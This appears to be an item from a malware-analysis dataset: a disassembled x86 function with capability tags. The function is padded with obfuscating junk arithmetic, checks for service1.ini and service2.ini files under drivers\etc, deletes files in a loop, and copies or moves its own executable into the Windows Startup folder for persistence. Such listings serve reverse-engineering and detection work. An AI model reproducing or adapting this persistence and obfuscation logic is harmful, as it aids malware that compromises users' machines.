Function at 0x40ab10
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x457190]
mov ecx, dword [0x45581c]
mov dword [esp + 0x300], eax
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [0x455820]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
push esi
mov esi, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
imul ecx, ecx, 0x32
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45582c]
sub eax, esi
imul edx, edx, 0x31
add eax, ecx
mov ecx, dword [0x455830]
imul ecx, ecx, 0x22
add eax, ecx
mov ecx, dword [0x455828]
add eax, edx
mov dword [0x45582c], eax
mov eax, dword [0x455818]
lea esi, [eax + ecx]
mov eax, 0x4bda12f7
imul esi, esi, 0x36
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455834]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x455834], esi
call fcn.004293ad
add esp, 8
cmp eax, 0xffffffff
je 0x40af99
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.004293ad
add esp, 8
cmp eax, 0xffffffff
je 0x40af99
mov ecx, dword [0x455834]
mov esi, dword [0x455818]
mov eax, 0x38e38e39
imul esi, esi, 0x31
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5397829d
imul ecx
mov ecx, dword [0x455830]
push edi
imul ecx, ecx, 0x32
sar edx, 4
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, ecx
mov ecx, dword [0x455820]
mov eax, 0x78787879
imul ecx
sar edx, 4
mov eax, edx
push 0x104
lea ecx, [esp + 0x20c]
shr eax, 0x1f
add edi, edx
push ecx
add eax, edi
push 0
mov dword [0x455818], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x208]
push 0x5c
push edx
call fcn.00429e20
mov esi, eax
push str..tmp
lea eax, [esp + 0x214]
push eax
lea ecx, [esp + 0x18]
push str._s_s
push ecx
inc esi
call fcn.00429011
mov edx, dword [str._r_____r____]
mov eax, dword [0x455818]
imul edx, edx, 0x38
mov ecx, dword [0x455820]
lea eax, [eax + eax*8]
lea edi, [edx + eax*8]
mov eax, 0x66666667
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45582c]
mov eax, 0x92492493
imul ecx
add edx, ecx
mov ecx, dword [0x455834]
sar edx, 5
mov eax, edx
add esp, 0x18
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
sub edi, ecx
push 0x18
lea ecx, [esp + 0x110]
push ecx
sub edi, 0x31
push 0
mov dword [0x455820], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x108]
lea ecx, [eax + 1]
jmp 0x40ad20
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40ad20
push ebx
sub eax, ecx
push esi
lea edx, [esp + eax + 0x110]
push 0x4461a8
push edx
call fcn.00429011
mov ecx, dword [0x455824]
mov esi, dword [0x455838]
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xb2b78c13
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x31
mov ebx, eax
sub ebx, edi
sub ebx, edx
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 0x4ec4ec4f
imul esi
sar edx, 2
add ebx, edx
mov eax, edx
mov edx, dword [0x45581c]
imul edx, edx, 0x36
shr eax, 0x1f
add eax, ebx
add eax, edx
add esp, 0xc
mov dword [0x455828], eax
xor esi, esi
jmp 0x40adb3
mov eax, dword [0x455828]
mov ecx, dword [0x455824]
imul eax, eax, 0x22
imul ecx, ecx, 0x1b
add ecx, eax
mov eax, 0x66666667
imul dword [0x45581c]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45582c]
imul edx, edx, 0x31
sub ecx, eax
lea eax, [esp + 0xc]
sub ecx, edx
push 0
push eax
mov dword [0x455830], ecx
call fcn.004293ad
add esp, 8
cmp eax, 0xffffffff
je 0x40ae04
lea ecx, [esp + 0xc]
push ecx
call edi
inc esi
cmp esi, 0x64
jl 0x40ada8
mov esi, dword [0x455834]
mov ecx, dword [0x45582c]
imul esi, esi, 0xffffffcf
mov eax, 0x78787879
imul dword [str._r_____r____]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov ecx, edx
add esi, edx
mov edx, dword [0x455820]
shr ecx, 0x1f
add ecx, esi
mov esi, dword [esp + 0x314]
sub ecx, edx
test esi, esi
mov dword [0x455838], ecx
je 0x40ae5f
cmp esi, 2
jne 0x40af15
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x110]
push ecx
lea edx, [esp + 0x14]
push edx
call edi
test eax, eax
jne 0x40af0f
mov ecx, dword [0x455824]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x455838]
imul edx, edx, 0xd
mov ebx, ecx
mov ecx, dword [0x45581c]
sub ebx, esi
add ebx, edx
mov eax, 0x51eb851f
imul ecx
mov ecx, dword [0x455830]
sar edx, 4
imul ecx, ecx, 0x35
mov eax, edx
shr eax, 0x1f
add eax, edx
push 6
sub ebx, eax
lea edx, [esp + 0x110]
push edx
lea eax, [esp + 0x14]
add ebx, ecx
push eax
mov dword [str._r_____r____], ebx
call edi
pop ebx
pop edi
mov eax, 0xfffffffe
pop esi
mov ecx, dword [esp + 0x300]
call fcn.00428e41
add esp, 0x304
ret
mov ecx, dword [0x455838]
mov eax, 0x4bda12f7
imul ecx
imul ecx, ecx, 0xd
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x45581c]
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
add edi, edx
mov ecx, edx
mov edx, dword [0x455830]
imul edx, edx, 0x35
shr ecx, 0x1f
add ecx, edi
mov edi, dword [str._r_____r____]
add ecx, edx
sub ecx, edi
add ecx, 0x28
cmp esi, 1
mov dword [0x45581c], ecx
je 0x40af6c
cmp esi, 2
jne 0x40af81
push 0
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x300]
call fcn.00428e41
add esp, 0x304
ret
mov ecx, dword [esp + 0x304]
or eax, 0xffffffff
pop esi
call fcn.00428e41
add esp, 0x304
ret